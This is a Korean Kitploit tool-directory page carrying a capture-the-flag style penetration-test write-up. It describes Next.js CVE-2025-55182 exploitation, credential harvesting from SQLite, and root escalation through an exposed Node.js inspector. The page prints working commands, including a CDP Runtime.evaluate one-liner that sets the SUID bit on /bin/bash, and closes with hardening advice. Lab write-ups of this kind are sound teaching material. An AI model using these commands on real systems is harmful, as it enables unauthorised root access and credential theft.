Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-55182 — Next.js의 CVE-2025-55182 악용, SQLite에서 자격 증명 수집, Node.js 인스펙터를 통한 권한 상승으로 루트 액세스 권한을 획득하는 과정을 보여주는 기술적 침투 테스트 보고서입니다. | Kitploit
도구/GitHubGitHub/chrisbarack/cve-2025-55182
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubchrisbarack/cve-2025-55182

cve-2025-55182

Next.js의 CVE-2025-55182 악용, SQLite에서 자격 증명 수집, Node.js 인스펙터를 통한 권한 상승으로 루트 액세스 권한을 획득하는 과정을 보여주는 기술적 침투 테스트 보고서입니다.

저장소 보기
191개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

침투 테스트 라이트업: Next.js RCE 및 Node.js Inspector 권한 상승

이 기술 라이트업은 취약한 Next.js 웹 애플리케이션을 호스팅하는 대상을 손상시키고, 수집한 자격 증명을 통해 초기 접근을 달성하며, 잘못 구성된 로컬 Node.js V8 인스펙터를 활용하여 루트 권한 상승을 수행하는 공격 경로를 상세히 설명합니다.

1단계: 외부 정찰 및 웹 익스플로잇

초기 푸팅프린팅

대상은 표준 HTTP/HTTPS 포트(80/443)에서 실행되는 Next.js 웹 애플리케이션을 호스팅합니다. 표준 디렉터리 열거 및 수동 분석 결과, 애플리케이션이 CVE-2025-55182에 취약한 버전을 실행 중임을 확인했습니다.

Burp Suite를 통한 익스플로잇

취약점을 악용하려면 Burp Suite(또는 Burp Repeater)를 사용하여 애플리케이션 트래픽을 가로채고 CVE-2025-55182를 대상으로 하는 맞춤형 익스플로잇 페이로드를 주입합니다.

데이터베이스 발견

익스플로잇을 통해 코드 실행 및 로컬 파일 읽기를 달성한 후, 애플리케이션 소스 디렉터리를 검사합니다. 로컬 SQLite 데이터베이스 파일(database.db)은 기본 애플리케이션 소스 코드와 인접한 위치에 있습니다.

2단계: 자격 증명 추출 및 초기 접근

데이터베이스 검사

데이터베이스 파일의 내용을 쿼리하거나 덤프하여 저장된 사용자 레코드를 추출합니다.

sqlite3 database.db "SELECT * FROM users;"

자격 증명 추출

로컬 SSH 사용자 engineer와 연결된 평문 비밀번호를 찾습니다.

SSH 로그인

복구된 자격 증명을 사용하여 대상 머신과 SSH 세션을 설정합니다:

ssh engineer@<TARGET-IP>

사용자 플래그 획득

인증이 완료되면 홈 디렉터리에 있는 사용자 플래그를 읽습니다:

cat /home/engineer/user.txt

3단계: Node.js Inspector를 통한 권한 상승

내부 포트 정찰

로컬 루프백 인터페이스(127.0.0.1)에만 바인딩된 서비스를 확인하여 내부 공격 표면을 식별합니다:

netstat -tulnp

결과: 내부 Node.js 서비스가 로컬 포트 9229에서 활성 상태로 수신 중입니다.

디버거 UUID 발견

Node.js V8 디버그 포트는 WebSocket 통신을 위해 고유한 세션 UUID가 필요합니다. curl에 /json을 추가하여 로컬 검색 엔드포인트를 쿼리합니다:

curl -s http://127.0.0.1:9229/json

출력:

{
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}

권한 상승 페이로드 실행

대상 Node.js 프로세스가 루트 권한으로 실행되므로, Python을 통해 WebSocket으로 Chrome DevTools Protocol(CDP) Runtime.evaluate 메시지를 전송하여 /bin/bash에 SUID 비트를 설정할 수 있습니다:

python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'

루트 셸 진입

/bin/bash에 SUID 권한이 활성화되었는지 확인하고(-rwsr-sr-x), 권한을 유지한 채 Bash를 호출합니다:

ls -l /bin/bash
bash -p

루트 플래그 획득

루트 사용자의 홈 디렉터리로 이동하여 최종 플래그를 캡처합니다:

cd /root
cat root.txt

이러한 공격 벡터로부터 환경을 보호하려면 알려진 CVE에 취약한 웹 애플리케이션에 패치를 적용하고, 데이터베이스 파일 권한을 적절히 제한하며, 디버깅 포트(예: 포트 9229의 Node.js 인스펙터)가 프로덕션 환경에서 노출되거나 인증 없이 접근 가능한 상태로 방치되지 않도록 해야 합니다.

도구 다운로드